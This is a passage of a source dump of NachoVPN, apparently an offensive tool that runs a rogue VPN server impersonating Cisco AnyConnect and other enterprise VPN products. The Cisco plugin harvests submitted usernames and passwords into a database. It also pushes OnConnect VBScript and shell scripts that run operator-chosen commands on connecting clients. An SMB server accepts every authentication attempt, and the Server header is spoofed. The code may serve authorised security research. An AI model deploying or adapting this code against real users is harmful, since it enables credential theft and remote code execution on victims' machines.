            dst_ip = socket.inet_ntoa(packet_data[16:20]) if len(packet_data) >= 20 and (packet_data[0] >> 4) == 4 else None
            self.logger.debug(f"[Client] Packet: src={src_ip} dst={dst_ip} len={len(packet_data)}")

            # Update last seen time
            async def update_client():
                async with self.client_lock:
                    if ip_address in self.clients:
                        self.clients[ip_address].last_seen = time.time()
            self._loop.create_task(update_client())

            if TUNNEL_ENABLED:
                # Write packet to TUN interface
                if self.tun_fd is not None:
                    try:
                        bytes_written = os.write(self.tun_fd, packet_data)
                        self.logger.debug(f"[TUN] Wrote {bytes_written} bytes to TUN interface")
                    except BlockingIOError:
                        # TUN queue is full, drop the packet
                        self.logger.warning("TUN queue full, dropping packet")
                    except Exception as e:
                        self.logger.error(f"Error writing to TUN interface: {e}")
                        self.logger.error("Stack trace:", exc_info=True)
                else:
                    self.logger.error("TUN file descriptor not available")
            else:
                self.logger.debug(f"[TUN] Tunnel disabled. Received packet from {src_ip} to {dst_ip}")
                self.append_to_pcap(packet_data)

        except Exception as e:
            self.logger.error(f"Error handling client packet: {e}")

    def append_to_pcap(self, packet):
        """Append packet to PCAP file if enabled"""
        try:
            if self.write_pcap and self._pcap_writer is not None:
                pkt = self._fake_eth / Raw(load=bytes(packet))
                self._pcap_writer.write(pkt)
        except Exception as e:
            self.logger.error(f'Error appending to PCAP: {e}')

    async def close(self):
        """Clean up resources"""
        if self._closed:
            return

        try:
            # Cancel background tasks
            if TUNNEL_ENABLED and hasattr(self, '_lease_cleanup_task'):
                self._lease_cleanup_task.cancel()
                try:
                    await self._lease_cleanup_task
                except asyncio.CancelledError:
                    pass

            # Close all client connections
            async with self.client_lock:
                for client in list(self.clients.values()):
                    try:
                        if hasattr(client, 'sock'):
                            client.sock.close()
                    except Exception:
                        pass
                self.clients.clear()
                self.conn_to_ip.clear()

            # Clean up tunneling resources
            if TUNNEL_ENABLED:
                # Remove TUN fd from event loop
                if self.tun_fd is not None:
                    try:
                        self._loop.remove_reader(self.tun_fd)
                        self.logger.info("Removed TUN fd from event loop")
                    except Exception as e:
                        self.logger.error(f"Error removing TUN fd from event loop: {e}")

                # Close TUN file descriptor
                if self.tun_fd is not None:
                    try:
                        os.close(self.tun_fd)
                        self.logger.info("Closed TUN file descriptor")
                    except Exception as e:
                        self.logger.error(f"Error closing TUN file descriptor: {e}")

                try:
                    self.nft.cmd('flush table inet vpn')
                    self.nft.cmd('delete table inet vpn')
                    self.logger.info("Cleaned up nftables rules")
                except Exception as e:
                    self.logger.error(f"Error cleaning up nftables: {e}")

                # Close IPRoute
                if hasattr(self, '_ipr'):
                    try:
                        await self._ipr.close()
                        self.logger.info("Closed IPRoute")
                    except Exception as e:
                        self.logger.error(f"Error closing IPRoute: {e}")

            # Close PCAP writer
            if self._pcap_writer is not None:
                try:
                    self._pcap_writer.close()
                    self.logger.info("Closed PCAP writer")
                except Exception as e:
                    self.logger.error(f"Error closing PCAP writer: {e}")

            self._closed = True
            self.logger.info("PacketHandler closed successfully")

        except Exception as e:
            self.logger.error(f"Error in cleanup: {e}")
            raise

    def create_session(self, sock, wrapper_callback):
        """Create a new session: generate connection_id, assign IP, and register client."""
        connection_id = str(uuid.uuid4())
        ip_address = self.register_client(connection_id, sock, wrapper_callback)
        return connection_id, ip_address

    def get_assigned_ip(self, connection_id):
        """Return the assigned IP for a given connection_id, or None if not found."""
        return self.conn_to_ip.get(connection_id)

    def assign_socket(self, connection_id, sock):
        """Assign or update the socket for an existing client session."""
        ip_address = self.conn_to_ip.get(connection_id)
        if ip_address and ip_address in self.clients:
            self.logger.info(f"Assigning new socket to connection_id {connection_id} (IP {ip_address})")
            self.clients[ip_address].sock = sock
            return True
        self.logger.warning(f"assign_socket: No client found for connection_id {connection_id}")
        return False

    async def start(self):
        """Start the packet handler's background tasks"""
        try:
            # Set the event loop for this thread
            self._loop = asyncio.get_running_loop()
            self.logger.info(f"[TUN] PacketHandler using event loop {self._loop} in thread {threading.current_thread().name}")

            # Log the tunnel configuration
            self.logger.info(f"Tunnel configuration: TUNNEL_PRIVATE={TUNNEL_PRIVATE}, TUNNEL_FULL={TUNNEL_FULL}")

            if TUNNEL_ENABLED:
                # Initialize nftables
                self._setup_nftables()

                # Set up TUN interface
                await self._setup_tun_interface()

                # Set up TUN file descriptor
                self._setup_tun_fd()

                # Start background tasks
                if self._lease_cleanup_task is None:
                    self._lease_cleanup_task = asyncio.create_task(self._lease_cleanup())
                    self.logger.info("Started lease cleanup task")
            else:
                self.logger.info("Tunnel disabled - skipping nftables, TUN interface, and lease cleanup setup")

            # Set up PCAP writer (always enabled if configured)
            if self.write_pcap and self.pcap_filename:
                os.makedirs(os.path.dirname(self.pcap_filename), exist_ok=True)
                self._fake_eth = Ether(src='01:02:03:04:05:06', dst='ff:ff:ff:ff:ff:ff')
                self.logger.info(f"Using TUN interface MAC {self._fake_eth.src} for PCAP")

                # Open PCAP writer
                self._pcap_writer = PcapWriter(self.pcap_filename, append=True)
                self.logger.info(f"Opened PCAP writer for {self.pcap_filename}")
        except Exception as e:
            self.logger.error(f"Error starting packet handler: {e}")
            raise


================================================
FILE: src/nachovpn/core/plugin_manager.py
================================================
import logging
import traceback
import os
import asyncio

class PluginManager:
    def __init__(self, loop=None):
        self.plugins = []
        self.loop = loop or asyncio.get_event_loop()

    def register_plugin(self, plugin_class, **kwargs):
        """Register a plugin"""
        if plugin_class.__name__ in os.getenv("DISABLED_PLUGINS", "").split(","):
            logging.info(f"Skipping disabled plugin: {plugin_class.__name__}")
            return
        plugin = plugin_class(**kwargs)
        self.plugins.append(plugin)
        logging.info(f"Registered plugin: {plugin_class.__name__}")

    def handle_data(self, data, client_socket, client_ip):
        """Try each plugin to handle raw VPN data"""
        for plugin in self.plugins:
            try:
                if plugin.is_enabled() and plugin.can_handle_data(data, client_socket, client_ip):
                    return plugin.handle_data(data, client_socket, client_ip)
            except Exception as e:
                logging.error(f"Error in plugin {plugin.__class__.__name__}: {e}")
                logging.error(traceback.format_exc())
        return False

    def handle_http(self, handler):
        """Try each plugin to handle HTTP requests"""
        for plugin in self.plugins:
            try:
                if plugin.is_enabled() and plugin.can_handle_http(handler):
                    handler.plugin_name = plugin.__class__.__name__
                    return plugin.handle_http(handler)
            except Exception as e:
                logging.error(f"Error in plugin {plugin.__class__.__name__}: {e}")
                logging.error(traceback.format_exc())
        return False


================================================
FILE: src/nachovpn/core/request_handler.py
================================================
from http.server import BaseHTTPRequestHandler
import logging
import os

class VPNStreamRequestHandler(BaseHTTPRequestHandler):
    def __init__(self, request, client_address, server):
        self.plugin_manager = server.plugin_manager
        super().__init__(request, client_address, server)

    def send_header(self, keyword, value):
        if keyword.lower() == 'server':
            value = "nginx"
        super().send_header(keyword, value)

    def handle(self):
        try:
            first_line = self.rfile.readline()
            if b'HTTP/' in first_line:
                # Parse the HTTP request line and headers
                self.raw_requestline = first_line
                if self.parse_request():
                    # Delegate HTTP processing to PluginManager
                    if self.server.plugin_manager.handle_http(self):
                        return

                    # No plugin handled the request, send 404
                    logging.warning(f"Unhandled HTTP request from {self.client_address[0]}")
                    with open(os.path.join(os.path.dirname(__file__), '..', 
                        'plugins', 'base', 'templates', '404.html'), 'rb') as f:
                        self.send_response(404)
                        self.send_header('Content-Type', 'text/html')
                        self.end_headers()
                        self.wfile.write(f.read())
            else:
                # Handle raw VPN data
                if not self.server.plugin_manager.handle_data(first_line, self.connection, self.client_address[0]):
                    logging.warning(f"Unhandled raw VPN data from {self.client_address[0]}: {first_line}")
                    self.connection.close()

        except Exception as e:
            logging.error(f"Error processing request from {self.client_address[0]}: {e}")
            self.connection.close()

    def log_message(self, format, *args):
        plugin_name = getattr(self, 'plugin_name', 'Default')
        logging.info(f"[{plugin_name}] {self.client_address[0]} - - {format % args}")

================================================
FILE: src/nachovpn/core/smb_manager.py
================================================
from impacket.smbserver import SimpleSMBServer
import os
import stat
import logging
import threading

# SMB configuration
SMB_ENABLED = os.getenv("SMB_ENABLED", "false").lower() == "true"
SMB_SHARE_NAME = os.getenv("SMB_SHARE_NAME", "SHARE")
SMB_SHARE_PATH = os.getenv("SMB_SHARE_PATH", "smb")

class SMBManager:
    def __init__(self):
        self.logger = logging.getLogger(__name__)
        self.server = None

        if SMB_ENABLED:
            self._setup_smb_server()

    def auth_callback(self, *args, **kwargs):
        """Authentication callback"""
        self.logger.debug(f"Authenticate message: {args} {kwargs}")
        return True

    def _setup_smb_server(self):
        """Set up the SMB server"""
        try:
            # Create share directory if it doesn't exist
            os.makedirs(SMB_SHARE_PATH, exist_ok=True)

            # Impacket's readOnly flag is not implemented, so make the directory read-only
            os.chmod(SMB_SHARE_PATH, stat.S_IREAD | stat.S_IEXEC)

            # Initialize SMB server
            self.server = SimpleSMBServer("0.0.0.0", 445)

            # Add share
            self.server.addShare(SMB_SHARE_NAME.upper(), SMB_SHARE_PATH, shareComment='Nacho SMB Share', readOnly='yes')

            # Enable SMBv2
            self.server.setSMB2Support(True)

            # Start SMB server in a separate thread
            smb_thread = threading.Thread(target=self.server.start, daemon=True)
            smb_thread.start()
            self.logger.info(f"Started SMB server with share '{SMB_SHARE_NAME}' at {SMB_SHARE_PATH}")
        except Exception as e:
            self.logger.error(f"Failed to start SMB server: {e}")
            self.server = None


================================================
FILE: src/nachovpn/core/utils.py
================================================
from scapy.all import IP, IPv6, ARP, UDP, TCP, Ether, rdpcap, wrpcap, \
    srp, sendp, conf, get_if_addr, get_if_hwaddr, getmacbyip, sniff

import os
import logging

class PacketHandler:
    """
    TODO: Implement a NAT-based packet handler where the plugin provides a callback function
    that is called when a packet is received back from its destination and written to the client tunnel.
    """
    def __init__(self, write_pcap=False, pcap_filename=None, logger_name="PacketHandler"):
        self.write_pcap = write_pcap
        self.pcap_filename = pcap_filename
        self.logger = logging.getLogger(logger_name)
        if self.write_pcap and pcap_filename is not None:
            os.makedirs(os.path.dirname(pcap_filename), exist_ok=True)

    def get_free_nat_port(self):
        return 0

    def forward_tcp_packet(self, packet_data):
        src_ip = packet[IP].src
        dst_ip = packet[IP].dst
        sport = packet[TCP].sport
        dport = packet[TCP].dport
        self.logger.debug(f"Processing TCP packet: {src_ip}:{sport} -> {dst_ip}:{dport}")

        # Get a unique NAT port for this connection
        nat_port = self.get_free_nat_port()

        # Modify packet for NAT
        packet[IP].src = get_if_addr(conf.iface)  # Replace source IP with our IP
        packet[TCP].sport = nat_port              # Replace source port with NAT port

        self.logger.debug(f"New connection: {src_ip}:{sport} -> {dst_ip}:{dport} (NAT port: {nat_port})")

        # Modify packet for NAT
        packet[IP].src = get_if_addr(conf.iface)  # Replace source IP with our IP
        packet[TCP].sport = nat_port              # Replace source port with NAT port

        # Recalculate checksums
        del packet[IP].chksum
        del packet[TCP].chksum

        # Send the packet out
        sendp(packet, verbose=False, iface=conf.iface)

    def packet_sniffer(self):
        def packet_callback(packet):
            try:
                if IP not in packet:
                    return

                # TODO: restore original IP and TCP ports
                if self.receive_callback:
                    self.receive_callback(packet)
            except Exception as e:
                self.logger.error(f"Error processing packet: {e}")

        self.logger.info('Starting packet sniffer')
        sniff(iface=conf.iface, prn=packet_callback, store=False)

    def handle_client_packet(self, packet_data):
        packet = IP(packet_data)
        self.logger.info(f"Received packet: {packet}")
        self.append_to_pcap(packet)

    def append_to_pcap(self, packet):
        try:
            if self.write_pcap and self.pcap_filename is not None:
                # Add fake layer 2 data to the packet, if missing
                if not packet.haslayer(Ether):
                    src_mac = get_if_hwaddr(conf.iface)
                    fake_ether = Ether(src=src_mac, dst=None)
                    packet = fake_ether / packet
                wrpcap(self.pcap_filename, packet, append=True)
        except Exception as e:
            logging.error(f'Error appending to PCAP: {e}')

================================================
FILE: src/nachovpn/plugins/__init__.py
================================================
from nachovpn.plugins.base.plugin import VPNPlugin
from nachovpn.plugins.paloalto.plugin import PaloAltoPlugin
from nachovpn.plugins.cisco.plugin import CiscoPlugin
from nachovpn.plugins.sonicwall.plugin import SonicWallPlugin
from nachovpn.plugins.pulse.plugin import PulseSecurePlugin
from nachovpn.plugins.netskope.plugin import NetskopePlugin
from nachovpn.plugins.delinea.plugin import DelineaPlugin
from nachovpn.plugins.example.plugin import ExamplePlugin

__all__ = [
    'VPNPlugin',
    'PaloAltoPlugin',
    'CiscoPlugin',
    'SonicWallPlugin',
    'PulseSecurePlugin',
    'NetskopePlugin',
    'DelineaPlugin',
    'ExamplePlugin'
]


================================================
FILE: src/nachovpn/plugins/base/__init__.py
================================================


================================================
FILE: src/nachovpn/plugins/base/plugin.py
================================================
from flask import Flask, jsonify
from jinja2 import Environment, FileSystemLoader
import logging
import os

class VPNPlugin:
    def __init__(self, cert_manager=None, external_ip=None, dns_name=None, db_manager=None, template_dir=None, packet_handler=None, **kwargs):
        self.enabled = True
        self.cert_manager = cert_manager
        self.external_ip = external_ip
        self.dns_name = dns_name
        self.db_manager = db_manager
        self.template_dir = template_dir
        self.packet_handler = packet_handler
        self.logger = logging.getLogger(self.__class__.__name__)

        # setup Flask app
        self.flask_app = Flask(__name__)
        self._setup_routes()

        # Set up Jinja2 environment if template_dir is provided
        default_dir = os.path.join(os.path.dirname(__file__), 'templates')
        if template_dir:
            self.template_env = Environment(loader=FileSystemLoader([template_dir, default_dir]))
        else:
            self.template_env = Environment(loader=FileSystemLoader(default_dir))

    def is_enabled(self):
        return self.enabled

    def get_thumbprint(self):
        thumbprint = self.cert_manager.server_thumbprint
        if os.getenv('USE_DYNAMIC_SERVER_THUMBPRINT', 'false').lower() == 'true':
            dynamic_thumbprint = self.cert_manager.get_thumbprint_from_server(self.dns_name)
            if dynamic_thumbprint:
                self.logger.debug(f"Using dynamic thumbprint for {self.dns_name}: {dynamic_thumbprint}")
                thumbprint = dynamic_thumbprint
        return thumbprint

    def _setup_routes(self):
        # Define Flask routes within the class
        @self.flask_app.route('/api/v1/healthcheck', methods=['GET'])
        def healthcheck():
            return jsonify({"message": "OK"})

        @self.flask_app.errorhandler(404)
        def page_not_found(e):
            return self.render_template('404.html'), 404

    def _send_flask_response(self, response, handler):
        # Send the Flask response back to the client
        handler.send_response(response.status_code)
        for header, value in response.headers:
            handler.send_header(header, value)
        handler.end_headers()
        handler.wfile.write(response.data)

    def handle_get(self, handler):
        with self.flask_app.test_client() as client:
            response = client.get(handler.path, headers=dict(handler.headers))
            self._send_flask_response(response, handler)
        return True

    def handle_post(self, handler):
        content_length = int(handler.headers.get('Content-Length', 0))
        body = handler.rfile.read(content_length)

        # Use Flask's test_client to handle the request
        with self.flask_app.test_client() as client:
            response = client.post(handler.path, data=body, headers=dict(handler.headers))
            self._send_flask_response(response, handler)
        return True

    def render_template(self, template_name, **context):
        """Render a template with the given context"""
        if not hasattr(self, 'template_env'):
            raise Exception("No template environment configured")
        template = self.template_env.get_template(template_name)
        return template.render(**context)

    def can_handle_data(self, data, client_socket, client_ip):
        """Check if this plugin can handle the given data"""
        return False

    def can_handle_http(self, handler):
        """Determine if this plugin can handle the HTTP request"""
        return False

    def handle_data(self, data, client_socket, client_ip):
        return False

    def handle_http(self, handler):
        if handler.command == 'GET':
            return self.handle_get(handler)
        elif handler.command == 'POST':
            return self.handle_post(handler)
        return False

    def log_credentials(self, username, password, other_data=None):
        """Helper method to log credentials to the database."""
        if self.db_manager:
            self.db_manager.log_credentials(
                username=username,
                password=password,
                plugin_name=self.__class__.__name__,
                other_data=other_data
            )

    def _wrap_packet(self, packet_data, client):
        """Wrap the packet data with the plugin's specific protocol."""
        return packet_data

================================================
FILE: src/nachovpn/plugins/base/templates/404.html
================================================

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center></center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->

================================================
FILE: src/nachovpn/plugins/cisco/__init__.py
================================================
from .plugin import CiscoPlugin

__all__ = [
    'CiscoPlugin'
]

================================================
FILE: src/nachovpn/plugins/cisco/files/OnConnect.sh
================================================
#!/bin/bash
{{ cisco_command_macos }}

================================================
FILE: src/nachovpn/plugins/cisco/files/OnConnect.vbs
================================================
Set oShell = CreateObject("WScript.Shell")
oShell.run "%comspec% /c {{ cisco_command_win }}"

================================================
FILE: src/nachovpn/plugins/cisco/files/OnDisconnect.vbs
================================================
' OnDisconnect.vbs

================================================
FILE: src/nachovpn/plugins/cisco/plugin.py
================================================
from nachovpn.plugins import VPNPlugin
from flask import Response, abort, request
from jinja2 import Template

import logging
import hashlib
import re
import os

# https://datatracker.ietf.org/doc/html/draft-mavrogiannopoulos-openconnect-02
class CTSP:
    class Constants:
        MAGIC_NUMBER = 0x53544601
        HEADER_LENGTH = 8

    class PacketType:
        DATA = 0x00
        DPD_REQ = 0x03
        DPD_RESP = 0x04
        DISCONNECT = 0x05
        KEEPALIVE = 0x07
        COMPRESSED_DATA = 0x08
        TERMINATE = 0x09

    def __init__(self, socket, packet_handler=None, connection_id=None):
        self.socket = socket
        self.packet_handler = packet_handler
        self.connection_id = connection_id

    @staticmethod
    def create_packet(packet_type, data=b''):
        resp = CTSP.Constants.MAGIC_NUMBER.to_bytes(4, 'big')
        resp += (len(data)).to_bytes(2, 'big')
        resp += packet_type.to_bytes(1, 'big')
        resp += b'\x00'
        resp += data
        return resp

    # Section 2.5: The Keepalive and Dead Peer Detection Protocols
    def send_dpd_resp(self, req_data):
        # Send a DPD-RESP packet back to the client
        # and attach any additional data from the DPD-REQ packet
        resp = self.create_packet(self.PacketType.DPD_RESP, req_data)
        logging.info(f"Sending DPD-RESP: {resp.hex()}")
        self.socket.sendall(resp)

    def send_keepalive(self):
        # Just send a KEEPALIVE packet back to the client
        resp = self.create_packet(self.PacketType.KEEPALIVE)
        logging.info(f"Sending KEEPALIVE: {resp.hex()}")
        self.socket.sendall(resp)

    def parse(self, data):
        try:
            if int.from_bytes(data[0:4], byteorder='big') != self.Constants.MAGIC_NUMBER:
                raise Exception("Invalid packet")

            packet_length = int.from_bytes(data[4:6], byteorder='big')
            packet_type = data[6]

            if len(data) - self.Constants.HEADER_LENGTH != packet_length:
                raise Exception(f"Invalid packet length: {packet_length}")

            packet_data = data[self.Constants.HEADER_LENGTH:]

            if packet_type == self.PacketType.DATA:
                # Check if the packet is a valid IPv4 packet
                if len(packet_data) >= 20 and (packet_data[0] >> 4) == 4 and self.packet_handler is not None:
                    logging.debug(f"Received valid IPv4 packet")

                    # Handle packet with the packet handler
                    self.packet_handler.handle_client_packet(
                        packet_data,
                        self.connection_id
                    )

            elif packet_type == self.PacketType.DISCONNECT:
                logging.info(f"Received disconnect packet. Message: {packet_data[1:].decode()}")

            elif packet_type == self.PacketType.DPD_REQ:
                logging.info(f"Received DPD-REQ packet. Replying with DPD-RESP")
                self.send_dpd_resp(packet_data)

            elif packet_type == self.PacketType.KEEPALIVE:
                logging.info(f"Received keepalive packet")
                self.send_keepalive()

            elif packet_type == self.PacketType.COMPRESSED_DATA:
                logging.info(f"Received compressed packet")

            elif packet_type == self.PacketType.TERMINATE:
                logging.info(f"Received terminate packet")

            else:
                logging.warning(f"Unknown packet type: {packet_type:04x}")
                logging.warning(f"Packet data: {packet_data.hex()}")
        except Exception as e:
            logging.error(f"Error parsing packet: {e}")


class CiscoPlugin(VPNPlugin):
    def __init__(self, *args, **kwargs):
        # provide the templates directory relative to this plugin
        super().__init__(*args, **kwargs, template_dir=os.path.join(os.path.dirname(__file__), 'templates'))
        self.vpn_name = os.getenv("VPN_NAME", "NachoVPN")
        self.files_dir = os.path.join(os.path.dirname(__file__), "files")
        self.cisco_command_win = os.getenv("CISCO_COMMAND_WIN", "calc.exe")
        self.cisco_command_macos = os.getenv("CISCO_COMMAND_MACOS", "touch /tmp/pwnd")

    def shasum(self, data):
        if isinstance(data, str):
            data = data.encode()
        return hashlib.sha1(data).hexdigest().upper()

    def handle_http(self, handler):
        if handler.command == 'GET':
            self.handle_get(handler)
        elif handler.command == 'POST':
            self.handle_post(handler)
        elif handler.command == 'HEAD':
            self.handle_head(handler)
        elif handler.command == 'CONNECT':
            self.handle_connect(handler)
        return True

    def render_file(self, filename, context):
        with open(filename, "r") as f:
            template = Template(f.read())
            return template.render(context)

    def _setup_routes(self):
        # Call the parent class's route setup
        super()._setup_routes()

        @self.flask_app.route('/CACHE/stc/profiles/profile.xml', methods=['GET'])
        def profile():
            self.logger.info("Loading profile file")
            xml = self.render_template("profile.xml")
            response = xml.encode()
            return Response(response, status=200, mimetype='text/html')

        @self.flask_app.route('/+CSCOT+/oem-customization', methods=['GET'])
        def oem_customization():
            self.logger.info("Handling OEM customization")
            name = request.args.get('name')
            script_path = os.path.join(self.files_dir, os.path.basename(name.lstrip('scripts_')))
            context = {
                'cisco_command_win': self.cisco_command_win,
                'cisco_command_macos': self.cisco_command_macos
            }
            if name and os.path.exists(script_path):
                content = self.render_file(script_path, context)
                return Response(content, status=200, mimetype="application/octet-stream")
            return abort(404)

        @self.flask_app.route('/', methods=['POST'])
        def post():
            self.logger.info("Handling POST")
            headers = {'X-Aggregate-Auth': '1'}
            body = request.get_data().decode()
            if 'type="init"' in body:
                self.logger.info("Handling INIT")
                xml = self.render_template("prelogin.xml", vpn_name=self.vpn_name)
                self.logger.info(f"Sending prelogin.xml")
                response = xml.encode()
                return Response(response, status=200, mimetype='text/html', headers=headers)
            elif 'type="auth-reply"' in body:
                self.logger.info("Handling AUTH-REPLY")
                username = re.search('<username>(.*)</username>', body).group(1)
                password = re.search('<password>(.*)</password>', body).group(1)
                self.logger.info(f"Received username: {username} and password: {password}")
                info = {'User-Agent': request.headers.get('User-Agent')}
                self.db_manager.log_credentials(
                    username,
                    password,
                    self.__class__.__name__,
                    info
                )

                self.logger.info("Sending auth reply")

                # Calculate hashes
                profile_xml = self.render_template("profile.xml")
                profile_hash = self.shasum(profile_xml)

                # build a table of hashes for the script files
                script_hashes = [
                    {'platform': "win", 'filename': "OnDisconnect.vbs", 'hash': None},
                    {'platform': "win", 'filename': "OnConnect.vbs", 'hash': None},
                    {'platform': "mac-intel", 'filename': "OnDisconnect.sh", 'hash': None},
                    {'platform': "mac-intel", 'filename': "OnConnect.sh", 'hash': None}
                ]

                # iterate over the script_hashes and calculate the hash for each file
                for script in script_hashes:
                    script_path = os.path.join(self.files_dir, script['filename'])
                    context = {
                        'cisco_command_win': self.cisco_command_win,
                        'cisco_command_macos': self.cisco_command_macos
                    }
                    if os.path.exists(script_path):
                        content = self.render_file(script_path, context)
                        script['hash'] = self.shasum(content)

                xml = self.render_template("login.xml",
                    server_cert_hash=self.get_thumbprint()['sha1'],
                    profile_hash=profile_hash,
                    script_hashes=script_hashes
                )
                response = xml.encode()
                return Response(response, status=200, mimetype='text/html', headers=headers)

            return abort(404)

    def handle_head(self, handler):
        handler.send_response(200)

    def handle_connect(self, handler):
        self.logger.info(f"Handling CONNECT for {handler.path}")
        try:
            # Create a new session and get the connection_id
            connection_id, ip_address = self.packet_handler.create_session(handler.connection, self._wrap_packet)
            session_id = hashlib.sha256(connection_id.encode()).hexdigest().upper()
            hostname = f"{connection_id[:8]}.nachovpn.local"
            self.logger.debug(f"Connection ID: {connection_id}, IP Address: {ip_address}, Session ID: {session_id}, Hostname: {hostname}")

            # Send headers
            headers = [
                b"HTTP/1.1 200 OK",
                b"X-CSTP-Version: 1",
                b"X-CSTP-Protocol: Copyright (c) 2004 Cisco Systems, Inc.",
                f"X-CSTP-Address: {ip_address}".encode(),
                b"X-CSTP-Netmask: 255.255.255.0",
                f"X-CSTP-Hostname: {hostname}".encode(),
                b"X-CSTP-Lease-Duration: 1209600",
                b"X-CSTP-Session-Timeout: none",
                b"X-CSTP-Session-Timeout-Alert-Interval: 60",
                b"X-CSTP-Session-Timeout-Remaining: none",
                b"X-CSTP-Idle-Timeout: 1800",
                b"X-CSTP-DNS: 8.8.8.8",
                b"X-CSTP-Disconnected-Timeout: 1800",
                #b"X-CSTP-Split-Include: 10.10.0.0/255.255.255.0",
                b"X-CSTP-Keep: true",
                b"X-CSTP-Tunnel-All-DNS: true",
                b"X-CSTP-DPD: 0",
                b"X-CSTP-Keepalive: 0",
                b"X-CSTP-MSIE-Proxy-Lockdown: false",
                b"X-CSTP-Smartcard-Removal-Disconnect: true",
                f"X-DTLS-Session-ID: {session_id}".encode(),
                b"X-DTLS-Port: 80",
                b"X-DTLS-Keepalive: 0",
                b"X-DTLS-DPD: 0",
                b"X-CSTP-MTU: 1400",
                b"X-DTLS-MTU: 1400",
                b"X-DTLS12-CipherSuite: ECDHE-RSA-AES256-GCM-SHA384",
                b"X-CSTP-Routing-Filtering-Ignore: false",
                b"X-CSTP-Quarantine: false",
                b"X-CSTP-Disable-Always-On-VPN: false",
                b"X-CSTP-Client-Bypass-Protocol: false",
                b"X-CSTP-TCP-Keepalive: false",
                b"",
                b""
            ]
            handler.wfile.write(b"\r\n".join(headers))
            handler.wfile.flush()

            # Create CTSP parser
            parser = CTSP(handler.connection, packet_handler=self.packet_handler, connection_id=connection_id)

            # Just keep reading from the client forever
            while True:
                try:
                    data = handler.connection.recv(8192)
                    if not data:
                        self.logger.info('Connection closed by client')
                        break

                    # Parse the packet data
                    parser.parse(data)

                except Exception as e:
                    self.logger.error(f"Connection error: {e}")
                    break

        except Exception as e:
            self.logger.error(f"CONNECT error: {e}")
        finally:
            self.logger.info("Closing CONNECT tunnel")
            self.packet_handler.destroy_session(connection_id)
            handler.connection.close()

    def _wrap_packet(self, packet_data, client):
        return CTSP.create_packet(CTSP.PacketType.DATA, packet_data)

    def can_handle_data(self, data, client_socket, client_ip):
        return len(data) >= 4 and CTSP.Constants.MAGIC_NUMBER == int.from_bytes(data[:4], byteorder='big')

    def can_handle_http(self, handler):
        user_agent = handler.headers.get('User-Agent', '')
        if 'AnyConnect' in user_agent:
            return True
        return False

    def handle_data(self, data, client_socket, client_ip):
        try:
            connection_id, _ = self.packet_handler.create_session(client_socket, self._wrap_packet)
            parser = CTSP(client_socket, packet_handler=self.packet_handler, connection_id=connection_id)
            parser.parse(data)
        except Exception as e:
            self.logger.error(f"Error handling Cisco data: {e}")
        finally:
            self.packet_handler.destroy_session(connection_id)
            client_socket.close()
        return True

================================================
FILE: src/nachovpn/plugins/cisco/templates/login.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="complete" aggregate-auth-version="2">
<session-id>106496</session-id>
<session-token>61D5E0@106496@2C64@1A03AA09D5B053ED6F58D56ABDF4EA125F12956C</session-token>
<auth id="success">
<message id="0" param1="" param2=""></message>
</auth>
<capabilities>
<crypto-supported>ssl-dhe</crypto-supported>
</capabilities>
<config client="vpn" type="private">
<vpn-base-config>
<base-package-uri>/CACHE/stc/1</base-package-uri>
<server-cert-hash>{{ server_cert_hash }}</server-cert-hash>
</vpn-base-config>
<opaque is-for="vpn-client"><service-profile-manifest>
<ServiceProfiles rev="1.0">
  <Profile service-type="user">
    <FileName></FileName>
    <FileExtension>xml</FileExtension>
    <Directory></Directory>
    <DeployDirectory></DeployDirectory>
    <Description>AnyConnect VPN Profile</Description>
    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>
  </Profile>
  <Profile service-type="vpn-mgmt">
    <FileName>VpnMgmtTunProfile.xml</FileName>
    <FileExtension>vpnm</FileExtension>
    <Directory>Profile\MgmtTun</Directory>
    <DeployDirectory>Profile\MgmtTun</DeployDirectory>
    <Description>AnyConnect Management VPN Profile</Description>
    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>
  </Profile>
  <Profile service-type="nam">
    <FileName>configuration.xml</FileName>
    <FileExtension>nsp</FileExtension>
    <Directory>Network Access Manager\system</Directory>
    <DeployDirectory>Network Access Manager\newConfigFiles</DeployDirectory>
    <Description>NAM Service Profile</Description>
    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>
  </Profile>
  <Profile service-type="feedback">
    <FileName>CustomerExperience_Feedback.xml</FileName>
    <FileExtension>fsp</FileExtension>
    <Directory>CustomerExperienceFeedback</Directory>
    <DeployDirectory>CustomerExperienceFeedback</DeployDirectory>
    <Description>Feedback Service Profile</Description>
    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>
  </Profile>
  <Profile service-type="iseposture">
    <FileName>ISEPostureCFG.xml</FileName>
    <FileExtension>isp</FileExtension>
    <Directory>ISE Posture</Directory>
    <DeployDirectory>ISE Posture</DeployDirectory>
    <Description>ISE Posture Profile</Description>
    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>
  </Profile>
  <Profile service-type="iseposturejson">
    <FileName>ISEPosture.json</FileName>
    <FileExtension>json</FileExtension>
    <Directory>ISE Posture</Directory>
    <DeployDirectory>ISE Posture</DeployDirectory>
    <Description>ISE Posture JSON Profile</Description>
    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>
  </Profile>
  <Profile service-type="ampenabler">
    <FileName>AMPEnabler_ServiceProfile.xml</FileName>
    <FileExtension>asp</FileExtension>
    <Directory>AMPEnabler</Directory>
    <DeployDirectory>AMPEnabler</DeployDirectory>
    <Description>AMP Enabler Service Profile</Description>
    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>
  </Profile>
  <Profile service-type="nvm">
    <FileName>NVM_ServiceProfile.xml</FileName>
    <FileExtension>nvmsp</FileExtension>
    <Directory>NVM</Directory>
    <DeployDirectory>NVM</DeployDirectory>
    <Description>Network Visibility Service Profile</Description>
    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>
  </Profile>
  <Profile service-type="umbrella">
    <FileName>OrgInfo.json</FileName>
    <FileExtension>json</FileExtension>
    <Directory>Umbrella</Directory>
